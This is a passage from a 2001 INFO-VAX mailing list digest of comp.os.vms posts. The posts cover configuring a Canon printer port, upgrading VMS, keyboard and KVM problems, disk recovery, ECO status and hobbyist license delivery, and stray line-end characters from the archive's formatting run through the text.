may not be a problem for you...r  A You could also get your NT sysadmin to check the machine and findtJ out what port it's on. Easy way: go to print server, set up a new printer.G The connection to your Canon shows up along with all the other printersnH shared by the print server when it asks you to select a port ;). I think (memoryaG is hazy...) it will show up as <ip-address or hostname>:NAME where NAMEtF is the name for the LPR printer. You need this name to set it up IIRC.  : If it is not LPR, the port number appears instead of NAME.  G Of course, this information might be null and void, because these CanontL printers also appear on the network as a computer with a printer conected to it, L and you can connect with them that way rather than through a printer server.  I Allegedly, if you have Pathworks for Mac (which you can't get anymore...)t andnD set the printer up to use AppleTalk, it works with DCPS, because the	 AppletalkeH protocol is bidirectional... Or so I've heard, for some printers anyway.  0 -Malcolm. (was NT sysadmin, now VMS sysadmin...)   > --
 > Mike Czizek  >   Iowa Network Services, Inc.M >   mikec@netins.com >-   ------------------------------   Date: 5 Nov 2001 17:36:17 -0800 ( From: bob@instantwhip.com (Bob Ceculski)< Subject: Re: How to discern port to configure Canon printer?= Message-ID: <d7791aa1.0111051736.19baa75b@posting.google.com>n  W Mikec@netins.net (Mike Czizek) wrote in message news:<9ruvck$10g$1@ins22.netins.net>...rP > We have an Alpha server running OpenVMS version 7.1.  We have had no problems R > configuring various printers to it until now.  We are attempting to configure a R > Canon ir600 printer/copier.  We obviously know the IP for the printer but we do R > not know the port number.  We have contacted our support company to discern the R > port number but they do not know.  We have attempted (though unsuccessfully) to L > configure it to ports 515, 9000 & 9100 but each of these produce an error. > K > I should mention that we have successfully configured the printer on our  C > Windows LAN so it appears not to be an inherent hardware problem.t > & > How can one discern the port number?  L if all else fails and the printer is local, you can run it serial ... we run: an imagerunner at 19200 baud and it performs very well ...   ------------------------------   Date: 5 Nov 2001 21:55 CST' From: carl@gerg.tamu.edu (Carl Perkins)7. Subject: Re: How to upgrade VMS/Vax 6.0 to 6.1, Message-ID: <5NOV200121552707@gerg.tamu.edu>  5 "David J. Dachtera" <djesys.nospam@fsi.net> writes...0 }The CO wrote: }> eL }> I know this is almost silly to talk of VMS 6.1 as an upgrade, however.... }>  O }> I finally managed to get my 6.1 savesets off 9 track and on to a drive wheren }> they are easier to access.nL }> I've never tried to upgrade a working system before.   Is there an online( }> reference or something I can look at?D }> I'm particularly concerned about what will break in the process.. } H }Well, if you don't have the install guide, maybe the next best thing isG }the release notes. Look in the .A saveset for a file with an extensionm }of ".RELEASE_NOTES".  } F }From what I hear of V6.0 Vs. V6.1, somethings that are broken in V6.0F }may actually start working under V6.1. I doubt anything critical will% }break, but y'never know until y'try.M }  }--  }David J. Dachtera  E Somewhere, you really should have an OpenVMS Upgrade and Installationn4 manual. VMS kits always come with one, in some form.  D If you don't have one, you can look at the ones for VMS 7.x that areH online at http://www.openvms.compaq.com:8000/ (lots of VMS documentationJ is there, but only for the few most recent versions). The basic proceedure5 will be the same, but some of the details may differ.   A This tells you exactly how to go about installing or upgrading insB considerable detail. This, the release notes, and any cover letterD should tell you everything about the install/upgrade except problemsA that were discovered after it shipped - for those, you'll need towB consult (and apply) the appropriate ECOs for the version of VMS inB question. I'd suggest grabbing any desired ECOs before you upgrade8 so you have them on hand to apply after the upgrade. See* http://ftp1.support.compaq.com/public/vms/   --- Carl   ------------------------------  # Date: Tue, 06 Nov 2001 00:11:41 GMTo* From: Jeff Goodwin <jgoodwin@maine.rr.com>+ Subject: ISIS for OpenVMS version questionsu, Message-ID: <3BE72B86.9A40DAD6@maine.rr.com>   Hello,  H We have some systems running the defunct ISIS message bus.  If the identA on ISSSHR is to believed, it is V3.3.2 #2.  We're running it overnD Multinet V4.1B on OpenVMS VAX V6.2.  I'd like to upgrade to MultinetG V4.3 on OpenVMS VAX V7.2.  Does anyone have any experience with ISIS on  these versions?g  
 Thank you, Jeff Goodwin   ------------------------------  # Date: Mon, 05 Nov 2001 19:01:27 GMTe2 From: hoffman@xdelta.zko.dec.nospam (Hoff Hoffman)? Subject: Re: Keyboard problems with VMS 7.2 on AlphaStation 200n3 Message-ID: <bmBF7.1285$RL6.33114@news.cpqcorp.net>a  h In article <w4od731g462.fsf@eco-fs1.irtnog.org>, "Matthew X. Economou" <meconomou@earthlink.net> writes:F :I have noticed some strangeness with my PCXAL keyboard attached to myF :AlphaStation in both text mode and under DECwindows.  The keyboard is, :connected through a Master View KVM switch. ..A :Needless to say, I'm very confused.  Since this is not the LK411n@ :keyboard mentioned in the FAQ, I'm not certain how to proceed.   E   Tests: Replace the PCXAL with an LK411- or LK461- or LK46W-series, eE   and remove the KVM from the configuration?   This sequence of testsuD   will help you isolate this to the keyboard or the KVM.  If you areF   hot-plugging keyboards (as would be implied by the KVM), you may or F   may not get the keyboard into the correct state -- OpenVMS tries to I   maintain the keyboard state, but the KVM and any other systems sharing RG   the keyboard can certainly conspire to cause keyboard state problems.u    N  ---------------------------- #include <rtfaq.h> -----------------------------N       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.com    N  --------------------------- pure personal opinion ---------------------------L    Hoff (Stephen) Hoffman   OpenVMS Engineering   hoffman#xdelta.zko.dec.com   ------------------------------  $ Date: Mon, 5 Nov 2001 17:39:34 -0800( From: "Greg Cagle" <gregc@gregcagle.com>8 Subject: New HP-Compaq merger discussion list at Interex/ Message-ID: <tuefursfdv8df8@corp.supernews.com>p  C FYI - Interex has established a mail list for discussions about theC' HP-Compaq merger. You can subscribe at:m  3 http://www.interex.org/cgi/lists.cgi?list=hp-compaqi   --
 Greg Cagle gregc at gregcagle dot com   ------------------------------  # Date: Mon, 05 Nov 2001 19:20:11 GMTF2 From: hoffman@xdelta.zko.dec.nospam (Hoff Hoffman)! Subject: Re: Undo disk InitializeG3 Message-ID: <LDBF7.1288$RL6.33051@news.cpqcorp.net>U  [ In article <a954c96.0111012221.501845e1@posting.google.com>, vmae@themail.com (Van) writes:WJ :I know very good undeleted utilities [expurgated]I used its for restoringF :of my files deleted accidantly because hard disk partition structures
 :was damaged.1@ :My files have been restored.This program has a few utilites for: :restoring types of file systems. Look site...[expurgated]  H   The [expurgated] URL and tool is for a Microsoft Windows data recoveryB   tool, and it may or may not be applicable to the restoration of G   optical-based storage media on any operating system platform.  It is iG   definitely not applicable to OpenVMS nor to recovering from an errantg   OpenVMS disk initialization.  C   You will want to avoid mapping Microsoft Windows single-user and tH   non-shared file system concepts and tools onto a multi-user operating H   system, particularly one with support for fully shared disk resources.I   (Applications anywhere within an OpenVMS Cluster can be writing to the CI   disk, and the storage "underneath" a file that is errantly deleted can BE   be quickly reused.  In a simple configuration, you might be able toCD   recover the file if you quickly get the disk off-line -- in a moreG   complex configuration and/or with a more active disk, the data in the-H   disk blocks and the contents of the file headers get clobbered as the    disk blocks are reused.)  K   OpenVMS generally does not damage its storage partitions, and the typicaleK   operations of a multi-user shared file system generally detract somewhat 0D   from the ability to restore from an errant operator command.  WithH   OpenVMS and standard read-write media, there are tools around that canJ   (attempt to) resurrect a file struture from an errantly erased -- that'sI   FDISK to the PC folks -- disk, and there are undelete tools around thataE   will attempt to pull a file back together.   (These tools have beenl+   discussed in various previous threads.)  l  H   The recommended approach to avoid and recover from these problems (andJ   from catastrophic disk failures) is to a: keep privileges and breakablesF   away from the untrusted or error-prone, and b: keep system backups.   N  ---------------------------- #include <rtfaq.h> -----------------------------N       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.com    N  --------------------------- pure personal opinion ---------------------------L    Hoff (Stephen) Hoffman   OpenVMS Engineering   hoffman#xdelta.zko.dec.com   ------------------------------  " Date: Mon, 5 Nov 2001 21:32:39 GMT' From: Rick Dyson <Rick-Dyson@UIowa.EDU> # Subject: VMS721_CLIUTL-0200 Status?s) Message-ID: <3BE70577.9F4CA7B6@UIowa.EDU>n  O Does anyone know what the status of this ECO is?  I first had a problem findinghO it (it is listed as a recommend companion of an INSTALL 1 ECO, VMS721_MOUNT96),r% but it then made it onto the servers.s  O However, there was a early report of it corrupting the QueManager (QUEMAN.EXE) o displays (i.e., Show Queue).  P Can anyone else confirm this?  I just had a maintanence cycle early this morningK and skipped it for now, but would like to go back to it if it is OK or theyo, fix any problems and release a v3.0 copy. :)   Regards,
 Rick Dyson   ------------------------------  $ Date: Mon, 5 Nov 2001 21:47:29 -05004 From: "Mark Buda" <buda@tabasco.zko.dec.no.spam.com>( Subject: Re: Weird Hobbyist PAK behavior, Message-ID: <9s7ivq$3hn7$1@lead.zk3.dec.com>  ( <webtrading@schwab.com> wrote in message2 news:3bdf5e07.43289635@news.scrmnt1.ca.home.com...  H > I notice that this one did come as a command procedure. Of course thatE > meant I would have to transfer it to tape on a running VAX and thencD > load it from there.  Easier just to fire up EVE and create it that > way. > < > On the second machine, I was able to type it in just fine.  E Typically PAK problems are typo's of some sort. A quick way to verify = that is if it works in a command procedure but not by hand...p  F Of course, there is always a chance of a bug.  I would be glad to lookD at it further and see if I can find a problem.  Details on how to do this have been sent via email.   --  
 Sincerely,	 Mark Budae Compaq Computer Corporation. VMS Engineeringp 110 Spitbrook Road
 MS: ZK3-4/X575 Nashua, NH 03062 Voice: (603) 884-1969a FAX: (603) 884-3451.   ------------------------------  $ Date: Mon, 5 Nov 2001 21:50:26 -05004 From: "Mark Buda" <buda@tabasco.zko.dec.no.spam.com>( Subject: Re: Weird Hobbyist PAK behavior, Message-ID: <9s7j5c$3h9m$1@lead.zk3.dec.com>  ? "Hoff Hoffman" <hoffman@xdelta.zko.dec.nospam> wrote in message - news:fnGD7.1127$RL6.16169@news.cpqcorp.net...   A >   I've been talking to some of the Montagar-related folks aboute	 providing F >   the PAKs in command procedures, and some other PAK-related issues.  G Getting them in an LDB would also be quite nice...  May a ZIP file that G self extracts with all PAKs in LDB ready to go?  :-)  Allow someone thesG option of getting it in various format (ZIP'd LDB, DCL procedure, etc.)n  E If there is interest by Montogar, then drop a line and we can work onl it.    --  	 Mark Budan Compaq Computer Corporation  VMS Engineeringe 110 Spitbrook Road
 MS: ZK3-4/X57  Nashua, NH 03062 Voice: (603) 884-1969s FAX: (603) 884-3451t   ------------------------------   Date: 5 Nov 2001 22:02:45 -0600i- From: Kilgallen@SpamCop.net (Larry Kilgallen)u( Subject: Re: Weird Hobbyist PAK behavior3 Message-ID: <TehWoeB9QrUL@eisner.encompasserve.org>e  c In article <9s7j5c$3h9m$1@lead.zk3.dec.com>, "Mark Buda" <buda@tabasco.zko.dec.no.spam.com> writes:t > A > "Hoff Hoffman" <hoffman@xdelta.zko.dec.nospam> wrote in message / > news:fnGD7.1127$RL6.16169@news.cpqcorp.net...e > B >>   I've been talking to some of the Montagar-related folks about > providing G >>   the PAKs in command procedures, and some other PAK-related issues.< > I > Getting them in an LDB would also be quite nice...  May a ZIP file thateI > self extracts with all PAKs in LDB ready to go?  :-)  Allow someone theeI > option of getting it in various format (ZIP'd LDB, DCL procedure, etc.)n > G > If there is interest by Montogar, then drop a line and we can work on- > it.e  @ Based on posts to comp.os.vms, the best thing that could be done= for hobbyist license delivery would be to package them so you @ cannot download an operating system license without also gettingA the layered product licenses.  The need for more than one license(B is terminally confusing for total novices, who are just the people1 who should get an attractive introduction to VMS.r  K Disclaimer: I do not personally have experience with the Hobbyist licenses.0   ------------------------------   End of INFO-VAX 2001.617 ************************